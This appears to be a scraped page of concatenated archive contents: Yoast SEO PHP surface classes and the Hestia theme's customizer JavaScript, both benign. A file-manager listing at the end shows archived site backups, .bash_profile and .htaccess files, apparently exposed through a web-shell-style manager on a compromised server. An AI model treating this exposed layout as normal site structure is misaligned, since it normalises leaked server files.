			return null;
		}

		$value = $presenter->get();
		if ( empty( $value ) ) {
			return null;
		}

		return (object) [
			'key'   => $presenter->escape_key(),
			'value' => $value,
		];
	}
}
surfaces/schema-helpers-surface.php000066600000005546152204306270013435 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces;

use Yoast\WP\SEO\Exceptions\Forbidden_Property_Mutation_Exception;
use Yoast\WP\SEO\Helpers\Schema;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class Schema_Helpers_Surface.
 *
 * Surface for the indexables.
 *
 * @property Schema\Article_Helper $article
 * @property Schema\HTML_Helper $html
 * @property Schema\ID_Helper $id
 * @property Schema\Image_Helper $image
 * @property Schema\Language_Helper $language
 */
class Schema_Helpers_Surface {

	/**
	 * The DI container.
	 *
	 * @var ContainerInterface
	 */
	private $container;

	/**
	 * Helpers that should be fully capitalized.
	 *
	 * @var array
	 */
	private $capitalized_helpers = [ 'html', 'id' ];

	/**
	 * Loader constructor.
	 *
	 * @param ContainerInterface $container The dependency injection container.
	 */
	public function __construct( ContainerInterface $container ) {
		$this->container = $container;
	}

	/**
	 * Magic getter for getting helper classes.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return mixed The helper class.
	 */
	public function __get( $helper ) {
		return $this->container->get( $this->get_helper_class( $helper ) );
	}

	/**
	 * Magic isset for ensuring helper exists.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return bool Whether the helper exists.
	 */
	public function __isset( $helper ) {
		return $this->container->has( $this->get_helper_class( $helper ) );
	}

	/**
	 * Prevents setting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name  The property name.
	 * @param mixed  $value The property value.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
	 */
	public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
		throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
	}

	/**
	 * Prevents unsetting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name The property name.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
	 */
	public function __unset( $name ) {
		throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
	}

	/**
	 * Get the class name from a helper slug
	 *
	 * @param string $helper The name of the helper.
	 *
	 * @return string
	 */
	protected function get_helper_class( $helper ) {
		if ( \in_array( $helper, $this->capitalized_helpers, true ) ) {
			$helper = \strtoupper( $helper );
		}
		$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );
		return "Yoast\WP\SEO\Helpers\Schema\\{$helper}_Helper";
	}
}
surfaces/meta-surface.php000066600000024373152204306270011462 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Surfaces\Values\Meta;
use Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Meta_Surface class.
 *
 * Surface for the indexables.
 */
class Meta_Surface {

	/**
	 * The container.
	 *
	 * @var ContainerInterface
	 */
	private $container;

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $repository;

	/**
	 * Holds the WP rewrite wrapper instance.
	 *
	 * @var WP_Rewrite_Wrapper
	 */
	private $wp_rewrite_wrapper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Meta_Surface constructor.
	 *
	 * @param ContainerInterface         $container            The DI container.
	 * @param Meta_Tags_Context_Memoizer $context_memoizer     The meta tags context memoizer.
	 * @param Indexable_Repository       $indexable_repository The indexable repository.
	 * @param WP_Rewrite_Wrapper         $wp_rewrite_wrapper   The WP rewrite wrapper.
	 * @param Indexable_Helper           $indexable_helper     The indexable helper.
	 */
	public function __construct(
		ContainerInterface $container,
		Meta_Tags_Context_Memoizer $context_memoizer,
		Indexable_Repository $indexable_repository,
		WP_Rewrite_Wrapper $wp_rewrite_wrapper,
		Indexable_Helper $indexable_helper
	) {
		$this->container          = $container;
		$this->context_memoizer   = $context_memoizer;
		$this->repository         = $indexable_repository;
		$this->wp_rewrite_wrapper = $wp_rewrite_wrapper;
		$this->indexable_helper   = $indexable_helper;
	}

	/**
	 * Returns the meta tags context for the current page.
	 *
	 * @return Meta The meta values.
	 */
	public function for_current_page() {
		return $this->build_meta( $this->context_memoizer->for_current_page() );
	}

	/**
	 * Returns the meta tags context for the home page.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_home_page() {
		$front_page_id = (int) \get_option( 'page_on_front' );
		if ( \get_option( 'show_on_front' ) === 'page' && $front_page_id !== 0 ) {
			$indexable = $this->repository->find_by_id_and_type( $front_page_id, 'post' );

			if ( ! $indexable ) {
				return false;
			}

			return $this->build_meta( $this->context_memoizer->get( $indexable, 'Static_Home_Page' ) );
		}

		$indexable = $this->repository->find_for_home_page();

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Home_Page' ) );
	}

	/**
	 * Returns the meta tags context for the posts page.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_posts_page() {
		$posts_page_id = (int) \get_option( 'page_for_posts' );
		if ( $posts_page_id !== 0 ) {
			$indexable = $this->repository->find_by_id_and_type( $posts_page_id, 'post' );

			if ( ! $indexable ) {
				return false;
			}

			return $this->build_meta( $this->context_memoizer->get( $indexable, 'Static_Posts_Page' ) );
		}

		$indexable = $this->repository->find_for_home_page();

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Home_Page' ) );
	}

	/**
	 * Returns the meta tags context for a post type archive.
	 *
	 * @param string|null $post_type Optional. The post type to get the archive meta for. Defaults to the current post type.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_post_type_archive( $post_type = null ) {
		if ( $post_type === null ) {
			$post_type = \get_post_type();
		}

		$indexable = $this->repository->find_for_post_type_archive( $post_type );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type_Archive' ) );
	}

	/**
	 * Returns the meta tags context for the search result page.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_search_result() {
		$indexable = $this->repository->find_for_system_page( 'search-result' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Search_Result_Page' ) );
	}

	/**
	 * Returns the meta tags context for the search result page.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_404() {
		$indexable = $this->repository->find_for_system_page( '404' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Error_Page' ) );
	}

	/**
	 * Returns the meta tags context for a post.
	 *
	 * @param int $id The ID of the post.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_post( $id ) {
		$indexable = $this->repository->find_by_id_and_type( $id, 'post' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type' ) );
	}

	/**
	 * Returns the meta tags context for a number of posts.
	 *
	 * @param int[] $ids The IDs of the posts.
	 *
	 * @return Meta[]|false The meta values. False if none could be found.
	 */
	public function for_posts( $ids ) {
		$indexables = $this->repository->find_by_multiple_ids_and_type( $ids, 'post' );

		if ( empty( $indexables ) ) {
			return false;
		}

		// Remove all false values.
		$indexables = \array_filter( $indexables );

		return \array_map(
			function ( $indexable ) {
				return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type' ) );
			},
			$indexables
		);
	}

	/**
	 * Returns the meta tags context for a term.
	 *
	 * @param int $id The ID of the term.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_term( $id ) {
		$indexable = $this->repository->find_by_id_and_type( $id, 'term' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Term_Archive' ) );
	}

	/**
	 * Returns the meta tags context for an author.
	 *
	 * @param int $id The ID of the author.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_author( $id ) {
		$indexable = $this->repository->find_by_id_and_type( $id, 'user' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Author_Archive' ) );
	}

	/**
	 * Returns the meta for an indexable.
	 *
	 * @param Indexable   $indexable The indexable.
	 * @param string|null $page_type Optional. The page type if already known.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_indexable( $indexable, $page_type = null ) {

		if ( ! \is_a( $indexable, Indexable::class ) ) {
			return false;
		}
		if ( $page_type === null ) {
			$page_type = $this->indexable_helper->get_page_type_for_indexable( $indexable );
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, $page_type ) );
	}

	/**
	 * Returns the meta for an indexable.
	 *
	 * @param Indexable[] $indexables The indexables.
	 * @param string|null $page_type  Optional. The page type if already known.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_indexables( $indexables, $page_type = null ) {
		$closure = function ( $indexable ) use ( $page_type ) {
			$this_page_type = $page_type;
			if ( $this_page_type === null ) {
				$this_page_type = $this->indexable_helper->get_page_type_for_indexable( $indexable );
			}

			return $this->build_meta( $this->context_memoizer->get( $indexable, $this_page_type ) );
		};

		return \array_map( $closure, $indexables );
	}

	/**
	 * Returns the meta tags context for a url.
	 *
	 * @param string $url The url of the page. Required to be relative to the site url.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_url( $url ) {
		$url_parts  = \wp_parse_url( $url );
		$site_parts = \wp_parse_url( \site_url() );

		if ( ( ! \is_array( $url_parts ) || ! \is_array( $site_parts ) )
			|| ! isset( $url_parts['host'], $url_parts['path'], $site_parts['host'], $site_parts['scheme'] )
		) {
			return false;
		}

		if ( $url_parts['host'] !== $site_parts['host'] ) {
			return false;
		}
		// Ensure the scheme is consistent with values in the DB.
		$url = $site_parts['scheme'] . '://' . $url_parts['host'] . $url_parts['path'];

		if ( $this->is_date_archive_url( $url ) ) {
			$indexable = $this->repository->find_for_date_archive();
		}
		else {
			$indexable = $this->repository->find_by_permalink( $url );
		}

		// If we still don't have an indexable abort, the WP globals could be anything so we can't use the unknown indexable.
		if ( ! $indexable ) {
			return false;
		}
		$page_type = $this->indexable_helper->get_page_type_for_indexable( $indexable );

		if ( $page_type === false ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, $page_type ) );
	}

	/**
	 * Checks if a given URL is a date archive URL.
	 *
	 * @param string $url The url.
	 *
	 * @return bool
	 */
	protected function is_date_archive_url( $url ) {
		$path = \wp_parse_url( $url, \PHP_URL_PATH );
		if ( $path === null ) {
			return false;
		}

		$path         = \ltrim( $path, '/' );
		$wp_rewrite   = $this->wp_rewrite_wrapper->get();
		$date_rewrite = $wp_rewrite->generate_rewrite_rules( $wp_rewrite->get_date_permastruct(), \EP_DATE );
		$date_rewrite = \apply_filters( 'date_rewrite_rules', $date_rewrite );

		foreach ( (array) $date_rewrite as $match => $query ) {
			if ( \preg_match( "#^$match#", $path ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Creates a new meta value object
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return Meta The meta value
	 */
	protected function build_meta( Meta_Tags_Context $context ) {
		return new Meta( $context, $this->container );
	}
}
surfaces/open-graph-helpers-surface.php000066600000004757152204306270014240 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces;

use Yoast\WP\SEO\Exceptions\Forbidden_Property_Mutation_Exception;
use Yoast\WP\SEO\Helpers\Open_Graph;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class Open_Graph_Helpers_Surface.
 *
 * Surface for the indexables.
 *
 * @property Open_Graph\Image_Helper $image
 */
class Open_Graph_Helpers_Surface {

	/**
	 * The DI container.
	 *
	 * @var ContainerInterface
	 */
	private $container;

	/**
	 * Loader constructor.
	 *
	 * @param ContainerInterface $container The dependency injection container.
	 */
	public function __construct( ContainerInterface $container ) {
		$this->container = $container;
	}

	/**
	 * Magic getter for getting helper classes.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return mixed The helper class.
	 */
	public function __get( $helper ) {
		return $this->container->get( $this->get_helper_class( $helper ) );
	}

	/**
	 * Magic isset for ensuring helper exists.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return bool Whether the helper exists.
	 */
	public function __isset( $helper ) {
		return $this->container->has( $this->get_helper_class( $helper ) );
	}

	/**
	 * Prevents setting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name  The property name.
	 * @param mixed  $value The property value.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
	 */
	public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
		throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
	}

	/**
	 * Prevents unsetting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name The property name.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
	 */
	public function __unset( $name ) {
		throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
	}

	/**
	 * Get the class name from a helper slug
	 *
	 * @param string $helper The name of the helper.
	 *
	 * @return string
	 */
	protected function get_helper_class( $helper ) {
		$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );
		return "Yoast\WP\SEO\Helpers\Open_Graph\\{$helper}_Helper";
	}
}
customizer-controls.js000066600000036014152210100770011152 0ustar00/**
 * File customizer-controls.js
 *
 * The file for generic customizer controls.
 *
 * @package Hestia
 */

/* global imageObject */

/**
 * Check if we have a sale event and try to add a banner to the WP Customizer.
 * 
 * The position of the banner is right before the "Themes" section.
 * 
 * @returns {undefined} 
 */
function tryAddSaleBanner () {
	if (typeof window.hestiaSaleEvents === 'undefined' || typeof window.hestiaSaleEvents.customizerBannerUrl === 'undefined' || ! window.hestiaSaleEvents.customizerBannerUrl ) {
		return;
	}

	var sectionStart = document.querySelector('#accordion-section-themes');

	if ( ! sectionStart ) {
		return;
	}
	
	var saleLink = document.createElement('a');
	saleLink.href = window.hestiaSaleEvents.customizerBannerStoreUrl;
	saleLink.target = '_blank';
	
	var bannerImg = document.createElement('img');
	bannerImg.src = window.hestiaSaleEvents.customizerBannerUrl;
	bannerImg.style.width = '100%'; // Make sure the image is responsive.

	saleLink.appendChild(bannerImg);
	sectionStart.parentNode.insertBefore(saleLink, sectionStart.nextSibling);
}

/**
 * Attempts to add a lock icon to the specified HTML element.
 *
 * @param {string} elementId - The ID of the target element where the lock icon should be added.
 * @param {string} elementSuffix - A suffix to be appended to the element ID for identifying the lock icon element.
 */
function tryAddLockIcon( elementId, elementSuffix) {
	var hasIcon = jQuery( '#' + elementId );
	if ( hasIcon.length === 0 ) {
		jQuery( '#' + elementId + elementSuffix )
		.addClass( 'customize-locked-control' )
		.find('input:checkbox')
		.attr( 'readonly', true )
		.next( 'label' )
		.replaceWith( function(index, labelHtml) {
			return jQuery(this).text().trim() + ' <span class="dashicons dashicons-lock"></span>';
		} );
	}
}

function toggleControls( isChecked ) {
	var $controls = jQuery('#customize-control-hestia_top_bar_alignment, #customize-control-hestia_link_to_top_menu, #customize-control-hestia_link_to_top_widgets');

	if ( isChecked ) {
		$controls.addClass( 'customize-locked-control' );
	} else {
		$controls.removeClass( 'customize-locked-control' );
	}
}

jQuery( document ).ready(
	function () {
		'use strict';

		jQuery.aboutBackground = {

			init: function () {
				this.updateBackgroundControl();
				this.updateBackgroundControlBuffer();
				this.focusMenu();
				this.updateEditorLink();
				this.scrollToTop();
            },

            updateBackgroundControl: function () {
                wp.customize(
                    'page_on_front', function( value ) {
                        value.bind(
                            function( newval ) {

                                jQuery.ajax({
                                    type: 'POST',
                                    data: {
                                        action: 'update_image_buffer',
                                        pid: newval,
                                        nonce: imageObject.imagenonce
                                    },
                                    url: imageObject.ajaxurl,
                                    success: function (result) {
                                        var image = result.data;
                                        var html;
                                        if (image !== '' && image !== 'undefined') {
                                            html = '<label for="hestia_feature_thumbnail-button">' +
                                                '<span class="customize-control-title">About background</span>' +
                                                '</label>' +
                                                '<div class="attachment-media-view attachment-media-view-image landscape">' +
                                                '<div class="thumbnail thumbnail-image">' +
                                                '<img class="attachment-thumb" src="' + image + '" draggable="false" alt=""> ' +
                                                '</div>' +
                                                '<div class="actions">' +
                                                '<button type="button" class="button remove-button">Remove</button>' +
                                                '<button type="button" class="button upload-button control-focus" id="hestia_feature_thumbnail-button">Change Image</button> ' +
                                                '<div style="clear:both"></div>' +
                                                '</div>' +
                                                '</div>';
                                        } else {
                                            html = '<label class="customize-control-title" for="customize-media-control-button-105">About background</label>' +
                                                '<div class="customize-control-notifications-container" style="display: none;"><ul></ul></div>' +
                                                '<div class="attachment-media-view">\n' +
                                                '<div class="placeholder">' +
                                                'No image selected' +
                                                '</div>' +
                                                '<div class="actions">' +
                                                '<button type="button" class="button default-button">Default</button>' +
                                                '<button type="button" class="button upload-button" id="customize-media-control-button-105">Select image</button>' +
                                                '</div>' +
                                                '</div>';
                                        }
                                        wp.customize.control( 'hestia_feature_thumbnail' ).container['0'].innerHTML = html;
                                        wp.customize.instance( 'hestia_feature_thumbnail' ).previewer.refresh();
                                    }
                                });
                            }
                        );
                    }
                );
            },

            updateBackgroundControlBuffer: function () {
                /**
                 * Update the buffer for about background.
                 */
                wp.customize( 'hestia_feature_thumbnail', function ( value ) {
                    value.bind( function ( newval ) {
                    	jQuery.ajax({
		                   type: 'POST',
		                   url: imageObject.ajaxurl,
		                   data: {
			                   action: 'update_image_buffer',
			                   value: newval,
			                   nonce: imageObject.imagenonce,
		                   }
                    	});
                    });
                });
            },

			/**
			* Focus menu when the user clicks on customizer shortcut of the menu.
			*/
			focusMenu: function () {
				wp.customize.previewer.bind(
					'trigger-focus-menu', function() {
						wp.customize.section( 'menu_locations' ).focus();
					}
				);
			},

            updateEditorLink: function () {
                wp.customize(
                    'page_on_front', function( value ) {
                        value.bind(
                            function( newval ) {
                            	if( typeof wp.customize.control( 'hestia_shortcut_editor' ) !== 'undefined' ){
                                    var newLink = wp.customize.control( 'hestia_shortcut_editor' ).container['0'].innerHTML .replace(/(post=).*?(&)/,'$1' + newval + '$2');
                                    wp.customize.control( 'hestia_shortcut_editor' ).container['0'].innerHTML = newLink;
	                            }
							}
						);
                    }
				);
            },

			/**
			 * Scroll to top feature
			 */
			scrollToTop: function () {
				wp.customize( 'hestia_scroll_to_top_offset', function ( value ) {
					value.bind( function ( newval ) {
						var showScrollToTop = 0;
						jQuery( window ).on( 'scroll', function () {
							console.log(newval);
							var y_scroll_pos = window.pageYOffset;
							var headerElement = jQuery( '.page-header' );
							var scroll_pos_test = 0;
							if ( headerElement.length > 0 ) {
								scroll_pos_test = headerElement.height();
							} else {
								headerElement = jQuery( '.container' );
								scroll_pos_test = headerElement.offset().top - jQuery( '.navbar' ).height();
								scroll_pos_test = scroll_pos_test > 0 ? scroll_pos_test : 0;
							}
							scroll_pos_test += newval;
							if ( y_scroll_pos >= scroll_pos_test && showScrollToTop === 0 ) {
								jQuery( '.hestia-scroll-to-top' ).addClass( 'hestia-fade' );
								showScrollToTop = 1;
							}
		
							if ( y_scroll_pos <= scroll_pos_test && showScrollToTop === 1 ) {
								jQuery( '.hestia-scroll-to-top' ).removeClass( 'hestia-fade' );
								showScrollToTop = 0;
							}
		
						} );
		
						jQuery( '.hestia-scroll-to-top' ).on( 'click', function () {
							window.scroll( {
								top: 0,
								behavior: 'smooth'
							} );
						} );
					} );
				} );
			},
		};

        jQuery.aboutBackground.init();



		wp.customize(
			'hestia_team_content', function ( value ) {
				value.bind(
					function () {
						var authors_values;
						var result = '';

						if ( jQuery.isFunction( wp.customize._value.hestia_authors_on_blog ) ) {
							authors_values = wp.customize._value.hestia_authors_on_blog();
						}
						jQuery( '#customize-control-hestia_team_content .customizer-repeater-general-control-repeater-container' ).each(
							function () {
								var title = jQuery( this ).find( '.customizer-repeater-title-control' ).val();
								var id = jQuery( this ).find( '.social-repeater-box-id' ).val();
								if ( typeof (title) !== 'undefined' && title !== '' && typeof (id) !== 'undefined' && id !== '' ) {
									result += '<option value="' + id + '" ';
									if ( authors_values && authors_values !== 'undefined' ) {
										if ( authors_values.indexOf( id ) !== -1 ) {
											result += 'selected';
										}
									}
									result += '>' + title + '</option>';
								}
							}
						);

						jQuery( '#customize-control-hestia_authors_on_blog .repeater-multiselect-team' ).html( result );
					}
				);
			}
		);

		/* Move controls to Widgets sections. Used for sidebar placeholders */
		if ( typeof wp.customize.control( 'hestia_placeholder_sidebar_1' ) !== 'undefined' ) {
			wp.customize.control( 'hestia_placeholder_sidebar_1' ).section( 'sidebar-widgets-sidebar-1' );
		}
		if ( typeof wp.customize.control( 'hestia_placeholder_sidebar_woocommerce' ) !== 'undefined' ) {
			wp.customize.control( 'hestia_placeholder_sidebar_woocommerce' ).section( 'sidebar-widgets-sidebar-woocommerce' );
		}

		jQuery(document).on( 'click', '.quick-links a', function(e) {
			e.preventDefault();
			e.stopPropagation();
			var control = jQuery( this ).data( 'control-focus' );
			if ( control ){
				wp.customize.control( control ).focus();
				jQuery( 'label.' + control ).click();
			}
			var section = jQuery( this ).data( 'section-focus' );
			if( section ){
				wp.customize.section( section ).focus();
			}
		} );

		jQuery( '.focus-customizer-header-image' ).on( 'click', function ( e ) {
			e.preventDefault();
			wp.customize.section( 'header_image' ).focus();
		} );


		/**
		 * Toggle section user clicks on customizer shortcut.
		 */
		var customize = wp.customize;
        if( typeof customize !== 'undefined' && customize.hasOwnProperty('previewer') ) {
			customize.previewer.bind(
				'hestia-customize-disable-section', function ( data ) {
					jQuery( '[data-customize-setting-link=' + data + ']' ).trigger( 'click' );
				}
			);

			customize.previewer.bind(
				'hestia-customize-focus-control', function ( data ) {
					wp.customize.control( data ).focus();
				}
			);
		}
		// Toggle visibility of Header Video notice when active state change.
        customize.control( 'header_video', function( headerVideoControl ) {
            headerVideoControl.deferred.embedded.done( function() {
                var toggleNotice = function() {
                    var section = customize.section( headerVideoControl.section() ), noticeCode = 'video_header_not_available';
					section.notifications.remove( noticeCode );
                };
                toggleNotice();
                headerVideoControl.active.bind( toggleNotice );
            } );
        } );

        // Open navigation panel.
        wp.customize.section( 'hestia_navigation' ).expanded.bind( function ( isExpanded ) {
        	if ( isExpanded ) {
        		// Lock minicart option.
        		tryAddLockIcon( 'customize-control-hestia_cart_icon', '_status' );
        		// Lock mobile menu option.
        		tryAddLockIcon( 'customize-control-hestia_mobile_menu_icon', '_status' );
        	}
        } );

        // Choose cart icon.
        wp.customize.control( 'hestia_cart_icon', function( control ) {
        	control.container.on( 'change', 'input:radio', function() {
        		if ( 'code' === jQuery( this ).val() ) {
        			jQuery( '#customize-control-hestia_cart_custom_icon' ).addClass( 'hestia-show-custom-icon' );
        		} else {
        			jQuery( '#customize-control-hestia_cart_custom_icon' ).removeClass( 'hestia-show-custom-icon' );
        		}
        	} );
        	jQuery( 'input:radio:checked', control.container ).trigger( 'change' );
        } );

        // Toggle cart icon.
        wp.customize.control( 'hestia_cart_icon_status', function( control ) {
        	control.container.on( 'change', 'input:checkbox', function() {
        		if ( jQuery( this ).is( ':checked' ) ) {
        			jQuery( '#customize-control-hestia_cart_icon' ).fadeIn( 'show' );
        		} else {
        			jQuery( '#customize-control-hestia_cart_icon' ).fadeOut();
        		}
        	} );
        	jQuery( 'input:checkbox:checked', control.container ).trigger( 'change' );
        } );

		wp.customize.control( 'hestia_top_bar_hide', function( control ) {
			wp.customize.section('hestia_top_bar', function( section ) {
				section.expanded.bind(function( isExpanded ) {
					if ( isExpanded ) {
						var isChecked = control.container.find('input:checkbox').is(':checked');
						toggleControls( isChecked );
					}
				});
			});
			control.container.on( 'change', 'input:checkbox', function() {
				var isChecked = jQuery(this).is(':checked');
				toggleControls( isChecked );
			});
		});

		wp.customize.control( 'hestia_navbar_transparent', function( control ) {
			wp.customize.section('hestia_navigation', function( section ) {
				section.expanded.bind(function( isExpanded ) {
					if ( isExpanded ) {
						if ( control.container.find('input:checkbox').is(':checked') ) {
							wp.customize.control('hestia_link_to_add_icon').container.show();
						} else {
							wp.customize.control('hestia_link_to_add_icon').container.hide();
						}
					}
				});
			});

			control.container.on( 'change', 'input:checkbox', function() {
				if ( jQuery(this).is(':checked') ) {
					wp.customize.control('hestia_link_to_add_icon').container.show();
				} else {
					wp.customize.control('hestia_link_to_add_icon').container.hide();
				}
			});
		});

		tryAddSaleBanner();
	}
);

Filemanager

Name Type Size Permission Actions
!awpwss.php.zip File 1.21 KB 0604
-20260529124522-20260621211500.tar File 1.72 MB 0604
-20260529124522-20260621211500.tar.gz File 128.26 KB 0604
-20260529124522-20260621211500.zip File 1.71 MB 0604
-20260529124522.tar File 1.84 MB 0604
-20260529124522.tar.gz File 143.95 KB 0604
-20260529124522.zip File 1.83 MB 0604
.bash_profile.tar File 2 KB 0604
.cache.tar File 2 KB 0604
.cache.zip File 445 B 0604
.htaccess.tar File 28 KB 0604
.stylelintrc.json.tar File 2 KB 0604
.tmb.tar File 1.72 MB 0604
.tmb.zip File 35.83 MB 0604
04.tar File 9.78 MB 0604
04.tar.gz File 8.51 MB 0604
04.zip File 9.71 MB 0604
1-grid.css.tar File 6.5 KB 0604
1-grid.css.tar.gz File 701 B 0604
1.tar File 12.5 KB 0604
1.tar.gz File 2.36 KB 0604
1.zip File 7.95 KB 0604
2-150x150.jpg.tar File 17.5 KB 0604
2-150x150.jpg.tar.gz File 4.78 KB 0604
2-300x61.jpg.tar File 19 KB 0604
2-300x61.jpg.tar.gz File 4.95 KB 0604
2-768x156.jpg.tar File 56.5 KB 0604
2-768x156.jpg.tar.gz File 17 KB 0604
2-base.css.tar File 21.5 KB 0604
2-base.css.tar.gz File 4.65 KB 0604
2.jpg.tar File 195 KB 0604
2.jpg.tar.gz File 36.21 KB 0604
2017.tar File 9.78 MB 0604
2017.tar.gz File 8.5 MB 0604
2017.zip File 9.72 MB 0604
2023.tar File 95.5 KB 0604
2023.tar.gz File 4.52 KB 0604
2023.zip File 150.29 KB 0604
2024-20260618183300-20260621140042.zip File 81.12 KB 0604
2024-20260618183300.zip File 51.57 MB 0604
2024-20260621194257.zip File 81.12 KB 0604
2024.tar File 3.37 MB 0604
2024.tar.gz File 6.29 KB 0604
2024.zip File 3.63 MB 0604
2025.tar File 1.71 MB 0604
2025.tar.gz File 116.09 KB 0604
2025.zip File 0 B 0604
24-1-150x150.jpg.tar File 19 KB 0604
24-1-150x150.jpg.tar.gz File 5.17 KB 0604
24-1-300x170.jpg.tar File 28 KB 0604
24-1-300x170.jpg.tar.gz File 8.34 KB 0604
24-1.jpg.tar File 22 KB 0604
24-1.jpg.tar.gz File 6.56 KB 0604
5-150x150.jpg.tar File 13 KB 0604
5-150x150.jpg.tar.gz File 0 B 0604
5-300x61.jpg.tar File 22 KB 0604
5-300x61.jpg.tar.gz File 5.95 KB 0604
5-768x156.jpg.tar File 46 KB 0604
5-768x156.jpg.tar.gz File 21.07 KB 0604
5.jpg.tar File 173.5 KB 0604
5.jpg.tar.gz File 44.65 KB 0604
ARC2_DcExtractor.php.tar File 3.5 KB 0604
ARC2_DcExtractor.php.tar.gz File 0 B 0604
ARC2_ErdfExtractor.php.tar File 10 KB 0604
ARC2_ErdfExtractor.php.tar.gz File 2 KB 0604
ARC2_OpenidExtractor.php.tar File 3.5 KB 0604
ARC2_OpenidExtractor.php.tar.gz File 733 B 0604
ARC2_PoshRdfExtractor.php.tar File 9.5 KB 0604
ARC2_PoshRdfExtractor.php.tar.gz File 2.41 KB 0604
ARC2_RDFExtractor.php.tar File 7.5 KB 0604
ARC2_RDFExtractor.php.tar.gz File 1.74 KB 0604
ARC2_RDFSerializer.php.tar File 3 KB 0604
ARC2_RDFSerializer.php.tar.gz File 667 B 0604
ARC2_RSS10Serializer.php.tar File 2.5 KB 0604
ARC2_RSS10Serializer.php.tar.gz File 454 B 0604
ARC2_RdfaExtractor.php.tar File 15 KB 0604
ARC2_RdfaExtractor.php.tar.gz File 3.06 KB 0604
Addon.zip File 24.6 KB 0604
Base.zip File 73.87 KB 0604
BgOptimizer.tar File 5.5 KB 0604
BgOptimizer.tar.gz File 1.27 KB 0604
BgOptimizer.zip File 3.98 KB 0604
CHANGELOG.md.tar File 109 KB 0604
CHANGELOG.md.tar.gz File 14.25 KB 0604
CHANGES.html.tar File 24.5 KB 0604
CHANGES.html.tar.gz File 8.23 KB 0604
CONTRIBUTING.md.tar File 6.5 KB 0604
CONTRIBUTING.md.tar.gz File 1.8 KB 0604
COPYRIGHT.tar File 5 KB 0604
COPYRIGHT.tar.gz File 1.78 KB 0604
Cache.js.tar File 7 KB 0604
Cache.js.tar.gz File 1.64 KB 0604
Core.zip File 350.54 KB 0604
Cron.zip File 24.2 KB 0604
DataStore.js.tar File 9.5 KB 0604
